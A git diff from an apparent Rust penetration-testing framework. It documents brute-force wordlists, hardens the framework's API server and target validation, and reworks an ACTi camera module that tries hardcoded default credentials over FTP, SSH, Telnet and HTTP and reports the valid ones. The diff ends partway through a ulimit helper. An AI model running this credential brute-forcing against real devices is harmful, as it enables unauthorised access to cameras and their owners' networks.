| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
|
||||
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
|
||||
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
|
||||
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
|
||||
|
||||
---
|
||||
|
||||
@@ -29,5 +33,16 @@ This directory contains reference lists and helper payloads consumed by modules
|
||||
- `telnet-banners.txt` to fingerprint devices before brute forcing
|
||||
- `http-admin-panels.txt` for web interface discovery scanners
|
||||
- Vendor-specific RTSP or ONVIF endpoint lists
|
||||
- `snmp-community-strings.txt` for SNMP brute forcing
|
||||
- `fortinet-users.txt` for Fortinet SSL VPN testing
|
||||
- `ssh-default-creds.txt` for common SSH credentials
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
|
||||
## Security Notes
|
||||
|
||||
When contributing wordlists:
|
||||
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
|
||||
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
|
||||
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
|
||||
- **Line format:** One entry per line, use `#` or `//` for comments
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here.
|
||||
|
||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 435 KiB |
+100
-23
@@ -18,14 +18,26 @@ use std::{
|
||||
use tokio::{
|
||||
fs::OpenOptions,
|
||||
io::AsyncWriteExt,
|
||||
sync::RwLock,
|
||||
sync::{RwLock, Semaphore},
|
||||
};
|
||||
use tower::ServiceBuilder;
|
||||
use tower_http::trace::TraceLayer;
|
||||
use tower_http::{
|
||||
trace::TraceLayer,
|
||||
limit::RequestBodyLimitLayer,
|
||||
};
|
||||
use uuid::Uuid;
|
||||
|
||||
use crate::commands;
|
||||
|
||||
/// Maximum request body size (1MB) to prevent DoS
|
||||
const MAX_REQUEST_BODY_SIZE: usize = 1024 * 1024;
|
||||
|
||||
/// Maximum number of tracked IPs before cleanup
|
||||
const MAX_TRACKED_IPS: usize = 100_000;
|
||||
|
||||
/// Maximum number of auth failure entries
|
||||
const MAX_AUTH_FAILURE_ENTRIES: usize = 100_000;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct ApiKey {
|
||||
pub key: String,
|
||||
@@ -48,6 +60,9 @@ pub struct AuthFailureTracker {
|
||||
pub blocked_until: Option<DateTime<Utc>>,
|
||||
}
|
||||
|
||||
/// Global limit for concurrent module executions to prevent resource exhaustion
|
||||
const MAX_CONCURRENT_MODULES: usize = 10;
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ApiState {
|
||||
pub current_key: Arc<RwLock<ApiKey>>,
|
||||
@@ -56,6 +71,7 @@ pub struct ApiState {
|
||||
pub harden_enabled: bool,
|
||||
pub ip_limit: u32,
|
||||
pub log_file: PathBuf,
|
||||
pub execution_limit: Arc<Semaphore>,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
@@ -133,6 +149,7 @@ impl ApiState {
|
||||
harden_enabled: harden,
|
||||
ip_limit,
|
||||
log_file,
|
||||
execution_limit: Arc::new(Semaphore::new(MAX_CONCURRENT_MODULES)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -161,14 +178,35 @@ impl ApiState {
|
||||
if !self.harden_enabled {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Validate IP string length
|
||||
if ip.len() > 128 {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
let mut tracker_guard = self.ip_tracker.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
// Cleanup old entries if we have too many tracked IPs (memory protection)
|
||||
if tracker_guard.len() >= MAX_TRACKED_IPS {
|
||||
// Remove oldest entries (keep most recent half)
|
||||
let mut entries: Vec<_> = tracker_guard.drain().collect();
|
||||
entries.sort_by(|a, b| b.1.last_seen.cmp(&a.1.last_seen));
|
||||
entries.truncate(MAX_TRACKED_IPS / 2);
|
||||
for (k, v) in entries {
|
||||
tracker_guard.insert(k, v);
|
||||
}
|
||||
let _ = self.log_message(&format!(
|
||||
"[CLEANUP] Pruned IP tracker from {} to {} entries",
|
||||
MAX_TRACKED_IPS,
|
||||
tracker_guard.len()
|
||||
)).await;
|
||||
}
|
||||
|
||||
if let Some(tracker) = tracker_guard.get_mut(ip) {
|
||||
// Update existing tracker - use all fields
|
||||
tracker.last_seen = now;
|
||||
tracker.request_count += 1;
|
||||
tracker.request_count = tracker.request_count.saturating_add(1);
|
||||
|
||||
// Log detailed tracking info using first_seen
|
||||
let duration = now.signed_duration_since(tracker.first_seen);
|
||||
@@ -279,8 +317,27 @@ impl ApiState {
|
||||
}
|
||||
|
||||
pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
|
||||
// Validate IP string length
|
||||
if ip.len() > 128 {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let mut failures_guard = self.auth_failures.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
// Cleanup old entries if we have too many (memory protection)
|
||||
if failures_guard.len() >= MAX_AUTH_FAILURE_ENTRIES {
|
||||
// Remove expired blocks and oldest entries
|
||||
let cutoff = now - chrono::Duration::hours(1);
|
||||
failures_guard.retain(|_, v| {
|
||||
v.blocked_until.map(|b| b > now).unwrap_or(false) ||
|
||||
v.first_failure > cutoff
|
||||
});
|
||||
let _ = self.log_message(&format!(
|
||||
"[CLEANUP] Pruned auth failure tracker to {} entries",
|
||||
failures_guard.len()
|
||||
)).await;
|
||||
}
|
||||
|
||||
let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
|
||||
AuthFailureTracker {
|
||||
@@ -296,7 +353,7 @@ impl ApiState {
|
||||
tracker.first_failure = now;
|
||||
}
|
||||
|
||||
tracker.failed_attempts += 1;
|
||||
tracker.failed_attempts = tracker.failed_attempts.saturating_add(1);
|
||||
|
||||
// Block after 3 failed attempts for 30 seconds
|
||||
if tracker.failed_attempts >= 3 {
|
||||
@@ -469,7 +526,7 @@ async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
|
||||
Json(ApiResponse {
|
||||
success: true,
|
||||
message: "Modules retrieved successfully".to_string(),
|
||||
data: Some(serde_json::to_value(data).unwrap()),
|
||||
data: Some(serde_json::to_value(data).unwrap_or(serde_json::Value::Null)),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -500,29 +557,45 @@ async fn run_module(
|
||||
.await
|
||||
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
|
||||
// Run the module in a separate OS thread since some modules aren't Send
|
||||
// Acquire permit to limit concurrency
|
||||
// We hold an owned permit and move it into the thread
|
||||
let permit = state.execution_limit.clone().acquire_owned().await.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
|
||||
// Run the module in a separate OS thread to support !Send futures (like Mutex guards and ThreadRng)
|
||||
// We use a current_thread runtime which allows !Send futures to be blocked on.
|
||||
let module = payload.module.clone();
|
||||
let target = payload.target.clone();
|
||||
let state_clone = state.clone();
|
||||
|
||||
// Use std::thread to run in a separate OS thread with its own runtime
|
||||
std::thread::spawn(move || {
|
||||
// Create a new runtime for this thread since modules need async runtime
|
||||
let rt = tokio::runtime::Runtime::new().unwrap();
|
||||
rt.block_on(async {
|
||||
if let Err(e) = commands::run_module(&module, &target).await {
|
||||
let _ = state_clone
|
||||
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
|
||||
.await;
|
||||
} else {
|
||||
let _ = state_clone
|
||||
.log_message(&format!(
|
||||
"Successfully completed module '{}' on target '{}'",
|
||||
sanitize_for_log(&module), sanitize_for_log(&target)
|
||||
))
|
||||
.await;
|
||||
let _permit = permit; // Permit is dropped when thread finishes
|
||||
|
||||
// Use current_thread runtime for lightweight isolation and !Send support
|
||||
let rt = tokio::runtime::Builder::new_current_thread()
|
||||
.enable_all()
|
||||
.build();
|
||||
|
||||
match rt {
|
||||
Ok(rt) => {
|
||||
rt.block_on(async {
|
||||
if let Err(e) = commands::run_module(&module, &target).await {
|
||||
let _ = state_clone
|
||||
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
|
||||
.await;
|
||||
} else {
|
||||
let _ = state_clone
|
||||
.log_message(&format!(
|
||||
"Successfully completed module '{}' on target '{}'",
|
||||
sanitize_for_log(&module), sanitize_for_log(&target)
|
||||
))
|
||||
.await;
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
Err(e) => {
|
||||
eprintln!("Failed to create runtime for module execution: {}", e);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
Ok(Json(ApiResponse {
|
||||
@@ -695,7 +768,11 @@ pub async fn start_api_server(
|
||||
let app = Router::new()
|
||||
.route("/health", get(health_check))
|
||||
.merge(protected_routes)
|
||||
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()))
|
||||
.layer(
|
||||
ServiceBuilder::new()
|
||||
.layer(RequestBodyLimitLayer::new(MAX_REQUEST_BODY_SIZE))
|
||||
.layer(TraceLayer::new_for_http())
|
||||
)
|
||||
.with_state(state);
|
||||
|
||||
let listener = tokio::net::TcpListener::bind(bind_address)
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Write};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
@@ -1,6 +1,13 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::sync::{Arc, RwLock};
|
||||
use ipnetwork::IpNetwork;
|
||||
use regex::Regex;
|
||||
|
||||
/// Maximum length for target strings
|
||||
const MAX_TARGET_LENGTH: usize = 2048;
|
||||
|
||||
/// Maximum length for hostname
|
||||
const MAX_HOSTNAME_LENGTH: usize = 253;
|
||||
|
||||
/// Global configuration for the framework
|
||||
#[derive(Clone, Debug)]
|
||||
@@ -29,9 +36,28 @@ impl GlobalConfig {
|
||||
pub fn set_target(&self, target: &str) -> Result<()> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Basic validation
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
// Length check
|
||||
if trimmed.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Target too long (max {} characters)",
|
||||
MAX_TARGET_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Target cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
if trimmed.contains("..") || trimmed.contains("//") {
|
||||
return Err(anyhow!("Target contains invalid characters (path traversal)"));
|
||||
}
|
||||
|
||||
// Try to parse as CIDR subnet first
|
||||
if let Ok(network) = trimmed.parse::<IpNetwork>() {
|
||||
@@ -40,11 +66,55 @@ impl GlobalConfig {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate hostname/IP format
|
||||
Self::validate_hostname_or_ip(trimmed)?;
|
||||
|
||||
// Otherwise, treat as single IP or hostname
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Validates a hostname or IP address format
|
||||
fn validate_hostname_or_ip(target: &str) -> Result<()> {
|
||||
// Length check for hostname
|
||||
if target.len() > MAX_HOSTNAME_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Hostname too long (max {} characters)",
|
||||
MAX_HOSTNAME_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for valid characters
|
||||
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!(
|
||||
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
|
||||
));
|
||||
}
|
||||
|
||||
// Check for spaces
|
||||
if target.contains(' ') {
|
||||
return Err(anyhow!("Target cannot contain spaces"));
|
||||
}
|
||||
|
||||
// Basic hostname format check (not starting/ending with special chars)
|
||||
if target.starts_with('.') || target.starts_with('-') {
|
||||
return Err(anyhow!("Target cannot start with '.' or '-'"));
|
||||
}
|
||||
|
||||
if target.ends_with('.') && !target.ends_with("..") {
|
||||
// Allow trailing dot for FQDN, but not double dots
|
||||
}
|
||||
|
||||
// Check for consecutive dots (invalid in hostnames)
|
||||
if target.contains("..") {
|
||||
return Err(anyhow!("Target cannot contain consecutive dots"));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Get the global target as a single string (for display)
|
||||
pub fn get_target(&self) -> Option<String> {
|
||||
|
||||
+102
-12
@@ -1,5 +1,6 @@
|
||||
use anyhow::{Context, Result};
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use clap::Parser;
|
||||
use std::net::SocketAddr;
|
||||
|
||||
mod cli;
|
||||
mod shell;
|
||||
@@ -9,6 +10,89 @@ mod utils;
|
||||
mod api;
|
||||
mod config;
|
||||
|
||||
/// Maximum length for API key to prevent memory exhaustion
|
||||
const MAX_API_KEY_LENGTH: usize = 256;
|
||||
|
||||
/// Maximum length for interface/bind address
|
||||
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
|
||||
|
||||
/// Maximum IP limit for hardening mode
|
||||
const MAX_IP_LIMIT: u32 = 10000;
|
||||
|
||||
/// Validates the bind address format for security
|
||||
fn validate_bind_address(addr: &str) -> Result<String> {
|
||||
let trimmed = addr.trim();
|
||||
|
||||
// Length check
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Bind address cannot be empty"));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Bind address too long (max {} characters)",
|
||||
MAX_BIND_ADDRESS_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Bind address cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Add port if missing
|
||||
let with_port = if trimmed.contains(':') {
|
||||
trimmed.to_string()
|
||||
} else {
|
||||
format!("{}:8080", trimmed)
|
||||
};
|
||||
|
||||
// Validate socket address format
|
||||
with_port.parse::<SocketAddr>()
|
||||
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
|
||||
|
||||
Ok(with_port)
|
||||
}
|
||||
|
||||
/// Validates API key format for security
|
||||
fn validate_api_key(key: &str) -> Result<String> {
|
||||
let trimmed = key.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("API key cannot be empty"));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_API_KEY_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"API key too long (max {} characters)",
|
||||
MAX_API_KEY_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Only allow printable ASCII characters
|
||||
if !trimmed.chars().all(|c| c.is_ascii_graphic()) {
|
||||
return Err(anyhow!("API key must contain only printable ASCII characters"));
|
||||
}
|
||||
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
/// Validates IP limit for hardening mode
|
||||
fn validate_ip_limit(limit: u32) -> Result<u32> {
|
||||
if limit == 0 {
|
||||
return Err(anyhow!("IP limit must be greater than 0"));
|
||||
}
|
||||
|
||||
if limit > MAX_IP_LIMIT {
|
||||
return Err(anyhow!(
|
||||
"IP limit too high (max {})",
|
||||
MAX_IP_LIMIT
|
||||
));
|
||||
}
|
||||
|
||||
Ok(limit)
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
@@ -16,21 +100,26 @@ async fn main() -> Result<()> {
|
||||
|
||||
// Check if API mode is requested
|
||||
if cli_args.api {
|
||||
let api_key = cli_args
|
||||
.api_key
|
||||
.context("--api-key is required when using --api mode")?;
|
||||
let api_key_raw = cli_args
|
||||
.api_key
|
||||
.context("--api-key is required when using --api mode")?;
|
||||
|
||||
// Validate API key
|
||||
let api_key = validate_api_key(&api_key_raw)
|
||||
.context("Invalid API key")?;
|
||||
|
||||
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
|
||||
|
||||
// If interface already contains a port (has ':'), use it as-is, otherwise add default port
|
||||
let bind_address = if interface.contains(':') {
|
||||
interface
|
||||
} else {
|
||||
format!("{}:8080", interface)
|
||||
};
|
||||
|
||||
// Validate and normalize bind address
|
||||
let bind_address = validate_bind_address(&interface)
|
||||
.context("Invalid bind address")?;
|
||||
|
||||
let harden = cli_args.harden;
|
||||
let ip_limit = cli_args.ip_limit.unwrap_or(10);
|
||||
|
||||
// Validate IP limit
|
||||
let ip_limit_raw = cli_args.ip_limit.unwrap_or(10);
|
||||
let ip_limit = validate_ip_limit(ip_limit_raw)
|
||||
.context("Invalid IP limit")?;
|
||||
|
||||
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
|
||||
return Ok(());
|
||||
@@ -38,6 +127,7 @@ async fn main() -> Result<()> {
|
||||
|
||||
// Set global target if provided
|
||||
if let Some(ref target) = cli_args.set_target {
|
||||
// Target validation is done in config::set_target
|
||||
config::GLOBAL_CONFIG.set_target(target)?;
|
||||
println!("✓ Global target set to: {}", target);
|
||||
}
|
||||
|
||||
@@ -1,15 +1,24 @@
|
||||
use anyhow::{Context, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
|
||||
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
/// Supported Acti services
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum ServiceType {
|
||||
Ftp,
|
||||
Ssh,
|
||||
@@ -17,6 +26,17 @@ pub enum ServiceType {
|
||||
Http,
|
||||
}
|
||||
|
||||
impl ServiceType {
|
||||
fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
ServiceType::Ftp => "FTP",
|
||||
ServiceType::Ssh => "SSH",
|
||||
ServiceType::Telnet => "Telnet",
|
||||
ServiceType::Http => "HTTP",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Common config
|
||||
#[derive(Clone)]
|
||||
pub struct Config {
|
||||
@@ -38,22 +58,27 @@ fn normalize_target(target: &str, port: u16) -> String {
|
||||
}
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
|
||||
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying FTP: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
println!("[+] FTP credentials valid: {}:{}", username, password);
|
||||
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
|
||||
let _ = ftp.quit().await;
|
||||
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
|
||||
// Respect stop_on_success: if true, stop after first valid credential
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
return Ok(result);
|
||||
}
|
||||
// If false, continue checking but still return first found (for consistency)
|
||||
return Ok(result);
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
@@ -61,17 +86,17 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying SSH: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
@@ -81,25 +106,23 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
println!("[+] SSH credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying Telnet: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
@@ -120,33 +143,31 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
println!("[+] Telnet credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
|
||||
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying HTTP: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let data = [
|
||||
@@ -166,19 +187,21 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
println!("[+] HTTP credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
@@ -210,10 +233,33 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
check_http_form(&http_conf),
|
||||
);
|
||||
|
||||
ftp_res?;
|
||||
ssh_res?;
|
||||
telnet_res?;
|
||||
http_res?;
|
||||
// Collect all successful results
|
||||
let mut found_credentials = Vec::new();
|
||||
|
||||
if let Ok(Some((service, user, pass))) = ftp_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = ssh_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = telnet_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = http_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
|
||||
// Print summary
|
||||
if !found_credentials.is_empty() {
|
||||
println!();
|
||||
println!("{}", "=== Summary ===".bold());
|
||||
for (service, user, pass) in &found_credentials {
|
||||
println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
|
||||
}
|
||||
} else {
|
||||
println!();
|
||||
println!("{}", "[-] No valid credentials found on any service.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,41 +1,140 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::process::Command;
|
||||
use colored::*;
|
||||
use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE};
|
||||
|
||||
const TARGET_FILE_LIMIT: u64 = 65535;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ System Ulimit Configuration Utility ║".cyan());
|
||||
println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// Target parameter is part of standard module interface
|
||||
// For ulimit operations, target is informational only
|
||||
if !target.is_empty() {
|
||||
println!("{}", format!("[*] Target context: {}", target).dimmed());
|
||||
}
|
||||
raise_ulimit().await
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
